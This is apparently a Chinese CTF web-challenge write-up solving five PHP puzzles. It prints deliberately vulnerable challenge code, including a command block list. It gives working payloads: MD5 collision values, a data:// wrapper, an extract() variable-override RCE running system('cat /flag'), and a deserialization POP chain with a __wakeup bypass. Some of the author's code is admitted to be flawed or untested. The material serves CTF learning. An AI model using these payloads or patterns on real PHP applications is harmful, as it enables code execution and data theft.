wp
1.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| <?php highlight_file(__FILE__); error_reporting(0); header('content-type:text/html;charset=utf-8'); if(isset($_GET['I_am.IKUN'])){ if ((string)$_POST['a'] !== (string)$_POST['b']){ if (md5($_POST['a']) === md5($_POST['b'])){ if(preg_match('/Hnu_CtfisFun$/', $_GET['Hnu_Ctf']) && $_GET['Hnu_Ctf'] !== 'Hnu_CtfisFun'){ $getflag = file_get_contents($_GET['flag']); } else die('Hnu_Ctf is not fun ! qwq 555555~'); if(isset($getflag) && $getflag === 'BoogipopIsGod'){ include 'flag.php'; echo $flag; }else die('WDF,Air is gooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooood,too!'); } else die("hash hash hash!"); } else die("string string string!"); } else die('WDF?you are not ikun!给👴爪巴'); ?>
|
代码审计,需要用GET方式传入I_am.IKUN,这里就有一个小点,php特性,所以我们要把_换成[,在传入后就会自动识别为_,

然后就是用post方式绕过md5强碰撞,在网上找了好几个payload,没一个有用,最后才找到有效的payload,用burpsuite抓包之后,成功返回
a=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2&b=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2
之后就是一个正则匹配的绕过,$这个符号表示从末尾开始匹配,那么我们只需要使传入的参数前面加上任意字符即可,
file_get_contents:用文件的方式读取该参数,因此使用DATA伪协议进行传参
最终payload
GET:?I[am.IKUN=1&Hnu_Ctf=aaaHnu_CtfisFun&flag=data://text/plain,BoogipopIsGod
POST:a=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2&b=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2
得到flag

2.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| <?php highlight_file(__FILE__); error_reporting(0); mb_internal_encoding("UTF-8");
$allowed = true; $cmd = $_GET['cmd']; $ban_list = ["cat", "flag", ";", "&", "|", "`", "$", "<", ">", "?", ".", "*", "/", "system", "passthru", "exec"];
foreach ($_GET as $param) { foreach ($ban_list as $ban_item) { if (strpos($param, $ban_item) !== false) { $allowed = false; } } }
if (isset($_GET['a']) and isset($_GET['b'])) { if ($_GET['a'] != $_GET['b']) { if ((md5($_GET['a']) == md5($_GET['b']))) extract($_GET); } }
if ($allowed) { eval($cmd); } else { echo "Nope!"; } ?>
|
涉及知识点:md5弱比较,
3.
打开网页,根据提示,下载准备好的字典,放到之前收集过的爆破字典目录下,进行爆破,环境现在打不开,我就拿之前写的题的图大致讲个流程

首先选择好我们要爆破的参数

导入字典,爆破,即可得到密码为SSXmMs123!如果没记错
然后就可以开始冤种的点击一千下了(这是冤种示范)
一开始想过用burpsuite重复发包,然后失败,原因是cookie值在我们发包是不会自己改变的,在后端进行了限制
正确的做法呢,是我们搞一个pythen的脚本,让电脑自己给我们点,科技解放双手,由于本人没有学过pythen,也没有配置环境,所以,就这样吧.
4.
简单的游戏以及简单的rce,题目是这么描述的
首先我们打开网页,就可以得到一个游戏的界面,因为之前写过几道js的题目,所以第一反应是找到js源码,尝试f12和ctrl+u都被禁止了,然后就尝试使用浏览器的按键功能

在这里我们就可以打开控制台,看到关键信息,打开game.js

一眼看过去,什么也不是,细看,可以发现有一段编码,看到有==,尝试base64解码

然后,我们跳转到a_secret.php界面
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| <?php highlight_file(__FILE__); error_reporting(0); mb_internal_encoding("UTF-8");
$allowed = true; $cmd = $_GET['cmd']; $ban_list = ["cat", "flag", ";", "&", "|", "`", "$", "<", ">", "?", ".", "*", "/", "system", "passthru", "exec"];
foreach ($_GET as $param) { foreach ($ban_list as $ban_item) { if (strpos($param, $ban_item) !== false) { $allowed = false; } } }
if (isset($_GET['a']) and isset($_GET['b'])) { if ($_GET['a'] != $_GET['b']) { if ((md5($_GET['a']) == md5($_GET['b']))) extract($_GET); } }
if ($allowed) { eval($cmd); } else { echo "Nope!"; } ?>
|
这题一开始没什么思路,后来想,既然需要md5绕过,那么这个extract($_GET);就一定是有用的,直接百度,和它配套出现的就是变量覆盖,那么我们接下来就围绕这两点展开
PHP extract() :该函数从数组中把变量导入到当前的符号表中。对于数组中的每个元素,键名用于变量名,键值用于变量值。
概念非常抽象,但是大概明白了它的意思,再结合同名变量覆盖,最终我们的payload=?a=QNKCDZO&b=240610708&allowed=true&ban_list=&cmd=system(‘cat /flag’);
我害怕不保险就直接两个都该了,这段代码首先绕过md5触发extract($_GET);然后再给一个与最后判断变量名相同的变量,赋值为true以及匹配是否有黑名单内容的变量ban_list变量覆盖为空,这样我们的rce就可以正常读取了,题目给了提示flag在根目录下的flag文件夹内,直接读取

5.
这一题前面就是信息搜集和提取,进入页面

写过类似,所以首先我想到的就是去出题人的Github主页

看到题目名字直接点进去

下载源码,反序列化
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86
| <?php error_reporting(0);
class User { public $username; public $password; public $isAdmin = false; public $class;
public function __construct() { $this->class = 'home'; }
public function __destruct() { echo $this->class; }
public function __toString() { return __CLASS__; } }
class Debug { public $var1; public $var2;
public function __wakeup() { $this->var1 = 'Hnu'; $this->var2 = 'Sec'; }
public function checkFunc() { ($this->var1)(); }
public function __toString() { return $this->var2->checkFunc(); } }
class CheckPassword { public $var1;
public function checkUserPassword() { // Use your own password file instead. include "Se23dfddfes35s.php"; echo $FLAG; }
public function __invoke() { $this->checkUserPassword(); }
public function __toString() { return __CLASS__; } }
if (isset($_POST['username']) && isset($_POST['password'])) { $username = $_POST['username']; $password = $_POST['password']; if ($username == 'admin' && $password == '-d2@3e*df0e_fk3') { echo '<script>alert("猜对了,可是这又有什么用呢?")</script>'; echo '<meta http-equiv="refresh" content="0;url=index.html">'; } else { echo '<script>alert("密码错误,继续猜!")</script>'; echo '<meta http-equiv="refresh" content="0;url=index.html">'; } }
if (isset($_POST['B4CK_D00R']) && $_GET['K3Y_A'] == '-d2@3e*df0e_fk3') { $a = $_POST['B4CK_D00R']; unserialize($a); }
|
倒推的pop链
1.CheckPassword->checkUserPassword 2.CheckPassword->__invoke 3.Debug->checkFunc 4.Debug-> __toString() 5.User->__destruct
还有一个wakeup绕过
因此,我们构造时就要反过来
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
| <?php error_reporting(0);
class User { public $username; public $password; public $isAdmin = true; public $class;
} class Debug { public $var1; public $var2; }
class CheckPassword { public $var1;
}
// if (isset($_POST['B4CK_D00R']) && $_GET['K3Y_A'] == '-d2@3e*df0e_fk3') { // $a = $_POST['B4CK_D00R']; // unserialize($a); // }
$a=new User(); $a->class=new Debug(); $a->class->var2=new Debug(); $a->class->var1=new CheckPassword(); $a1=serialize($a); $b=preg_replace('/4:{s:8/','5:{s:8',$a1); echo ($b);
|
$a->class->var2=new Debug();
$a->class->var1=new CheckPassword();这个地方犯了一个错,
其实也还是因为反序列化不够熟悉吧,这个我们需要的是通过var2调用到checkfunc这个函数,再利用函数内的var1去调用CheckPassword,但是按照我所写的那样赋值的话,var1与var2是同等级的关系,所以,我们要分开写
1 2 3 4 5 6 7 8 9
| $a=new User(); $b1=new Debug(); $b2=new Debug(); $c=new CheckPassword(); $a->class=$b1; $b1->var2=new $b2; $b1->var2->var1=$c; $a1=serialize($a); echo ($a1);
|
然后再绕过wakeup修改debug的成员数量即可

应该就可以得到flag了
来源: https://www.yuque.com/guansuanbangzhuangganjun/oxmbxg/rapbgq0rhm9vm7u1
语雀文档ID: 137058815